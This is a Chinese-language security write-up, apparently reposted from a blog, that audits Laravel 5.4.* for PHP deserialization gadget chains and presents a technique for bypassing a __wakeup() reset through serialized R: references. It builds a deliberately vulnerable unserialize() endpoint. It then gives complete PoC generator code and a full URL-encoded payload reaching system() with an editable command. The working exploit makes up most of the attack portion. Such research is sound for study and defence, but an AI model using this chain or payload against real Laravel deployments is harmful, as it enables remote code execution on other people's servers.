本次主要是对Laravel5.4.*的框架进行的代码审计,尝试挖掘其中可利用的POP链。
环境搭建:
对于Laravel 5.4.*的环境搭建,这里我主要用到的是Composer
,因为Laravel这个框架其实和Composer联系比较深,对于框架都可以用Composer直接一个命令拉出来。
composer create-project --prefer-dist laravel/laravel laravel5.4 "5.4.*"
或者是在github上面下载Releases也可以:
https://github.com/laravel/laravel
这里的laravel5.4是生成文件名,后面的5.4.*则是版本号。
然后进行一系列操作,参考如下博客:
https://blog.csdn.net/qq78442761/article/details/124537501+
接下来还是常规操作,对于路由进行配置:
routes/web.php
添加:
Route::get("/","AppHttpControllersPOPController@test");
然后在Controller,控制器里添加用来反序列化的函数。
app/Http/Controllers/POPController.php
<?php
namespace AppHttpControllers;
use IlluminateHttpRequest;
class POPController extends Controller{
public function test(){
if(isset($test)){
$test = $_GET['test'];
unserialize($test);
}
else{
echo "No Data";
}
}
}
简单写一个反序列化函数,能够实现反序列化就可以了,注意一下命名空间。然后注意,写的那个函数名要和路由里的一样。
到这里,环境就已经搭建好了。
审计流程:
首先还是传统方式,找一个入口,这里直接用Seay进行扫描,生成一个全局的敏感函数的报告。
然后再用Seay自带的查找功能,去找一个合适的__destruct()
作为反序列化的入口。
同时也可以找找看__wakeup()函数。
可以看见都挺多的,这里我们首先从__destruct()入手。
这里可以多找找,比如第一个
/vendor/fzaninotto/faker/src/Faker/Generator.php
这个地方跟进去,可以发现不是入口
这里可以看见,seed()函数,就是一个调用随机数的函数,没有看见利用点。
POP链:
这里直接看第二个,通过网上的一些资料可以知道这个是有问题的,这里我自己挖掘走一遍:
/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
找到destruct()方法:
这里有个dispath方法,关于这个方法,可以从这里看见描述,主要的作用是用于任务推送。
https://laravelacademy.org/post/22286
不过用处不大,可以直接跳过,这里直接看一下$this->event
和$this->events
这里两个变量都只有一个写入值,而且是__construct()
方法中的,我们可以控制并调用$events
来决定调用哪个类中的dispatch()
,同时这里很显然$event
的值是我们可以控制的,可以作为跳板,跳转到别的文件中。
这边可以找一下有没有好用的类里有dispatch()
作为突破点,一番寻找下来没有看见,那就考虑一下$event
。
dispath()这个函数不会进行字符串的输出,所以不能以__toString()
作为跳板,这里优先考虑一下,找一个没有dispatch()
方法的类,通过这个方式去调用__call()
,将$event
作为参数,使用Seay进行全局搜索。
稍微有点多,87处。
这里我上网找了一下别的师傅的博客,这里大部分师傅都是调用的Generation里的__call()
方法。我直接跟进一下。
这里看一下$method
和$attributes
可以发现只有一个赋值点,可以控制参数。
这里跟进一下函数
$method
和$attributes
在这里作为call_user_func_array()
函数的参数,进行使用。
call_user_func_array()
这个函数是一个回调函数,格式是
call_user_func_array($function,$param[])
其中
$function
是用于指定调用函数的参数,而$param
是作为参数的数组,返回值是布尔值,由回调的函数是否执行成功决定返回true或是false。
在当前函数中,
$argument
被控制的,而具体函数则是调用getFormatter
函数的返回值,跟进一下getFormatter()
。
这里直接看第一个if就可以了,这个函数没有对输入做更多处理,只要存在输入,就会直接返还。因此可以知道这里是可以直接调用我们想要的函数。
这里就已经构成rce了,通过回调函数call_user_func_array()
会造成任意代码执行。
这里总结一下利用逻辑:
编写不成功的POC:
不成功的POC。
<?php
namespace IlluminateBroadcasting{
class PendingBroadcast{
protected $events;
protected $event;
function __construct($events,$event){
$this->events = $events;
$this->event = $event;
}
}
}
namespace Faker{
class Generator{
protected $formatters;
function __construct()
{
$formatters = ['dispatch'=>'system'];
}
}
}
namespace {
$a = new FakerGenerator();
$b = new IlluminateBroadcastingPendingBroadcast($a,'ls');
echo(urlencode(serialize($b)));
}
?>
理论上来说,当执行了这个POC之后,就会执行ls命令。
问题:
不过这里会有一个问题,应该是Laravel官方在后续的更新里对这个版本进行了更新,然后通过一个__wakeup()
将$formatters
置空了。
也就是说这条链子这里是死了,不能继续调用。
inHann师傅给出的解决思路:
但是这里应该还是存在一些解决方案的,当我看见这个__wakeup()的时候,首先考虑到的就是能不能改变对象的数量,然后通过CVE-2016-7124(__wakeup绕过),来进行绕过。
但是这里存在一个问题,对于Laravel 5.4.*,需要的PHP版本需要大于等于5.6.4
而这个CVE的影响范围却是,PHP5<5.6.25,PHP7<7.0.10,因此这个不在CVE使用的范围内。
但是后来我在P神的知识星球里面看到了一篇文章,是inHann师傅给出的思路,这里我尝试用于解决一下5.4.*版本的Laravel的__wakeup()
绕过问题。
原文如下:
https://inhann.top/2022/05/17/bypass_wakeup/
这里我还是写一下个人理解以及需要的前置知识。
参考了:
https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/
https://www.neatstudio.com/show-161-1.shtml
前置知识:
PHP序列化与反序列化中的数据类型与引用方式(reference)
首先,我们知道在PHP中,使用serialize()
函数对对象进行序列化的时候,会使用不同的字母将其中的变量的类型表示出来,例如:
<?php
class Demo{
var $a;
var $b;
public function __construct(){
$this->a = "String";
$this->b = 1;
}
}
$demo = new Demo();
echo serialize($demo);
其中O
代表的对象,s
代表字符串,i
代表整形。
全部类型:
比较常见的类型都是数组之类的,但是其中有两个比较特殊的变量类型,r,R。这两个表示的是引用。
其中r表示的是对象引用,个人理解也可以说是对于标识符的引用。
而R表示的是指针引用,也就是直接引用指向对应内存地址的指针。
或者说:
当两个对象本来就是同一个对象时后出现的对象将会以小写r表示。
而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示
两者之间的区别就是,R等于是两个不同的变量名指向了同一块内存(或者说两个不同的变量名里面存了两个不一样的标识符,但是两个标识符都是同时指向同一个内存),因此任何一个变量被改变了,都会影响到所有变量的值。
而r是相当于直接重新开辟了一个内存,只是将值复制过来,然后保存。
第一个是浅拷贝,也就是相当于是PHP序列化中的R。
(如果变量a将[1,2,3]进行了更改,那么b的值自然也会进行更改)
第二个是深拷贝,也就是对应的r。
(变量a,b相互不影响)
这里我用程序演示一下:
<?php
class Demo{
var $a;
var $b;
var $c;
public function __construct(){
$this->a = 'first';
$this->b = 'second';
$this->c = 'third';
}
}
$d = new Demo();
echo (serialize($d)."n");
$d->c = $d;
echo (serialize($d)."n");
$d->c = $d->a;
echo (serialize($d)."n");
$d->c = &$d->a;
echo (serialize($d));
运行结果如下:
这里需要注意的是,Demo
这个类,应当被编号为1,所以第二个输出的结果是r:1
。然后$a
被标志为2,依次类推。
r:1
表示的就是引用第一个值,也就是Demo
。类似的,r:2
就是a
的值。
<?php
class SampleClass {
var $value;
}
$a = new SampleClass();
$a->value = $a;
//O:11:"SampleClass":1:{s:5:"value";r:1;}
$b = new SampleClass();
$b->value = &$b;
//O:11:"SampleClass":1:{s:5:"value";R:1;}
$a->value = 1;
$b->value = 1;
var_dump($a);
var_dump($b);
可以看见在运行了之后,$a只是改变了$value的值,而$b是直接将本身的值改变了。
这个就是两者之间的差别。
同时,这种方式有一个特点,即使你不是通过serialize()
函数或是Serializable
接口进行的正规序列化,而是直接手写一个R:2
上去,也同样可以完成对于对象的引用。
利用思想:
这里就出现了一个利用方式的思考,因为R
方式的引用,可以使得两个不同的变量的值保持相同。
如果可以满足这个步骤:
-
使得被置空的
$formatters
变量,与某个类中的变量$bypass
成为R
的指针引用关系。 -
当
$formatters
被置空的时候,通过改变$bypass
的值,即可对$formatters
的值进行修改 -
在执行
getFormatter()
之前完成上述操作,就可以成功对冲那个__wakeup()
函数了。
也就是说,最好能够找到一个赋值语句,且被赋值的语句是类中的成员属性。类似:
$this->a = xxx
这样,就可以进行序列化,然后直接修改$a
的引用方式,使得其引用$formatters
,然后对其进行重新赋值,达成绕过。
这里想要达成在__wakeup()
之后重新赋值的操作,正常的想法,就是通过反序列化后,触发某个类中的__wakeup()
方法来进行赋值,或是在销毁类的时候,调用其中的__destruct()
方法,来进行操作。
这里全局搜索一下__wakeup()
方法:
尝试1:
每一个都看了一下,感觉上/vendor/laravel/framework/src/Illuminate/Queue/SerializesModels.php
比较有可能性
public function __wakeup()
{
foreach ((new ReflectionClass($this))->getProperties() as $property) {
$property->setValue($this, $this->getRestoredPropertyValue(
$this->getPropertyValue($property)
));
}
}
这里使用了一个foreach()函数进行了遍历,这里可以看到,使用了PHP中的反射类ReflectionClass
,这个类的作用是通过类名来获取类的成员属性和方法信息。这里的参数是$this
,也就是获取对象中的成员属性,然后会作为ReflectionProperty
类的数组返回其中的成员。
通过foreach()函数,将值依次赋给$property
。
然后调用了setValue()
方法,这个是ReflectionProperty
中自带的方法,用于对成员属性重新赋值,这里可以看到函数定义:
这里跟进一下getRestoredPropertyValue()
方法,
第一个if会直接判断传入的参数是不是ModelIdentifier
类中的成员属性,如果不是就会直接返回原值,到这里就够了,可以直接看下一步。
跟进一下getPropertyValue()
这里可以看到,就是直接调用了setAccessible()
函数,保证这里可以访问保护或者是私有的属性,然后返回值。
本来这里应该是一个可以利用的点,但是因为这个类中没有定义成员变量,无法利用setValue()
这一段。算是失败了。
尝试2:
因为上面看过了wakeup()函数暂时是没有可以利用点,这里重新看一下`destruct()`
看看能不能找到什么可以利用的点。
这里找到了一个疑似可以利用的地方:
vendorsebastianrecursion-contextsrcContext.php
这里可以看到,作为私有属性定义的$arrays
变量,只有通过__construct()
方法进行赋值,或者是调用addArray()
函数,进行属性的添加。因此我们可以对这个数组的内容进行操作。
但是,虽然可以对数组进行操作,但是我们不能对$array
变量进行操作操作,因此不能使它对$formatters
变量进行引用,也就不能利用了。
如果这里对$array
进行了成员属性的定义,就是一个可以利用的点。
尝试3:
这里还有一个疑似可以利用的地方:
vendorsymfonyroutingLoaderConfiguratorCollectionConfigurator.php
这里可以看见成员属性$this->collection
被新建为了RouteCollection
类的对象,然后在__destruct()
中,进行了方法调用。
这里跟进一下addPrefix
方法,这里看名字应该是某个添加什么东西的方法。
public function addPrefix($prefix, array $defaults = [], array $requirements = [])
{
$prefix = trim(trim($prefix), '/');
if ('' === $prefix) {
return;
}
foreach ($this->routes as $route) {
$route->setPath('/'.$prefix.$route->getPath());
$route->addDefaults($defaults);
$route->addRequirements($requirements);
}
}
这里对$prefix参数进行了处理,将字符串左右的空白制表等符号,还有/
去除,如果去除完了之后是空,则直接返回。如果不是,则对RouteCollection
中的成员属性进行foreach()遍历。
这里跟进一下setPath()
这里可以看到$this->path
,这里有一个外面的/
,没办法去除,绕不过。不然可以尝试去修改$formatters
接下来看看addDefaults
方法。
其中$this->defaults
的值是我们可以控制的,如果对传入的参数我们可以完全控制的话,$name
和$default
也都是我们可以控制的内容,这里就算是打通了。
也就是通过数组的相互引用来修改$formatters
的值,具体操作思路如下:
//思路:
<?php
class Demo{
public $a = [];
public $default = [];
public $array;
public function __construct(){
$this->a = array("a","b");
$this->array = array(1,2,3,4,5);
}
public function __wakeup(){
var_dump($this->a);
echo "n";
var_dump($this->default);
foreach($this->array as $name=>$value){
$this->default[$name] = $value;
var_dump($this->default[$name]);
}
var_dump($this->a);
}
}
$demo = new Demo();
echo serialize($demo);
unserialize('O:4:"Demo":3:{s:1:"a";a:2:{i:0;s:1:"a";i:1;s:1:"b";}s:7:"default";R:2;s:5:"array";a:5:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;}}');
//注意看default后面那个R:2,这里是引用了$a的值。
输出结果如上,可以看到$a的值,从["a","b"]
,变成了[1,2,3,4,5]
这里可以实现修改。同样的,对于$formatters
也可以进行这样的操作。
回头看一下$defaults
值的获取。
麻了,是不能传递参数的一个形参,这里用不了。
下面的addRequirements()
函数也是同理,都是不能传递参数的一个形参,无法调用。
再回头看一下addCollection()
这部分:
这部分可以看到调用了一个函数,直接跟进一下。这个是RouteCollection
类中的方法。
这里可以看到用的是传入的类中的参数,调用了其中的all()函数,这里跟进一下:
可以看到这里关于$routes
变量的赋值,是我们可以操控的。
这里这个函数的foreach()部分,和之前分析的基本一样,因此这里应该是可以打通的。
构造POC:
用之前的POC来进行修改:
这里注意要利用__wakeup()
和__destruct()
执行的顺序差。
<?php
namespace SymfonyComponentRoutingLoaderConfigurator{
class CollectionConfigurator{
public function __construct(){
$this->parent = new SymfonyComponentRoutingRouteCollection();
$this->collection = new SymfonyComponentRoutingRouteCollection();
$this->route = new SymfonyComponentRoutingRoute();
$this->parentConfigurator = new IlluminateBroadcastingPendingBroadcast();
}
}
}
namespace SymfonyComponentRouting{
use Traversable;
class RouteCollection implements IteratorAggregate, Countable{
public function __construct(){
$this->routes = array("dispatch"=>"system");
}
public function getIterator()
{
// TODO: Implement getIterator() method.
}
public function count()
{
// TODO: Implement count() method.
}
}
class Route implements Serializable
{
public function __construct()
{
$this->path = '////'; //这里被trim了之后会直接为空,进入return,主要是为了方便
}
public function serialize()
{
return serialize([
'path' => $this->path,
'host' => $this->host,
'defaults' => $this->defaults,
'requirements' => $this->requirements,
'options' => $this->options,
'schemes' => $this->schemes,
'methods' => $this->methods,
'condition' => $this->condition,
'compiled' => $this->compiled,
]);
}
public function unserialize($data)
{
// TODO: Implement unserialize() method.
}
}
}
namespace IlluminateBroadcasting{
class PendingBroadcast{
protected $events;
protected $event;
function __construct(){
$this->events = new FakerGenerator();
$this->event = 'calc.exe'; //执行的命令在这里,修改了就可以
}
}
}
namespace Faker{
class Generator{
protected $formatters;
protected $providers;
public function __construct()
{
$this->formatters = ['useless'];
}
}
}
namespace {
$POC = new SymfonyComponentRoutingLoaderConfiguratorCollectionConfigurator();
echo urlencode(str_replace('363','333',str_replace('a:1:{i:0;s:7:"useless";}', 'R:3;', serialize($POC))));
}
(有点丑,sorry)
然后输出的结果是:
Payload:
O%3A68%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CCollectionConfigurator%22%3A4%3A%7Bs%3A6%3A%22parent%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A1%3A%7Bs%3A6%3A%22routes%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A10%3A%22collection%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A1%3A%7Bs%3A6%3A%22routes%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A5%3A%22route%22%3BC%3A31%3A%22Symfony%5CComponent%5CRouting%5CRoute%22%3A163%3A%7Ba%3A9%3A%7Bs%3A4%3A%22path%22%3Bs%3A4%3A%22%2F%2F%2F%2F%22%3Bs%3A4%3A%22host%22%3BN%3Bs%3A8%3A%22defaults%22%3BN%3Bs%3A12%3A%22requirements%22%3BN%3Bs%3A7%3A%22options%22%3BN%3Bs%3A7%3A%22schemes%22%3BN%3Bs%3A7%3A%22methods%22%3BN%3Bs%3A9%3A%22condition%22%3BN%3Bs%3A8%3A%22compiled%22%3BN%3B%7D%7Ds%3A18%3A%22parentConfigurator%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3BR%3A3%3Bs%3A12%3A%22%00%2A%00providers%22%3BN%3B%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A8%3A%22calc.exe%22%3B%7D%7D
演示:
到这里就算是告一段落了。
利用链梳理:
总结:
这条链子主要是因为inHann师傅在他的研究里给出的是一个依赖里的链子,所以我想看看在Laravel里面有没有可以不通过依赖直接利用的那个__wakeup()
的地方,然后捣腾出来的。之前看了一些博客,说这里被__wakeup()
的置空给堵死了,但其实还是有办法利用的。
(其实感觉有点属于屠龙之技,没什么用,主要还是给师傅们提供一个思路吧hhh,希望师傅们轻喷。)
这一次审计主要学到的还是这个对冲的操作在POP链中的利用方式,这个做法还是很灵活的。
来源:先知社区的【Ho1L0wBy】师傅
注:如有侵权请联系删除
如需进群进行技术交流,请扫该二维码
原文始发于微信公众号(衡阳信安):Laravel 5.4.*反序列化——对冲__wakeup()的RCE链利用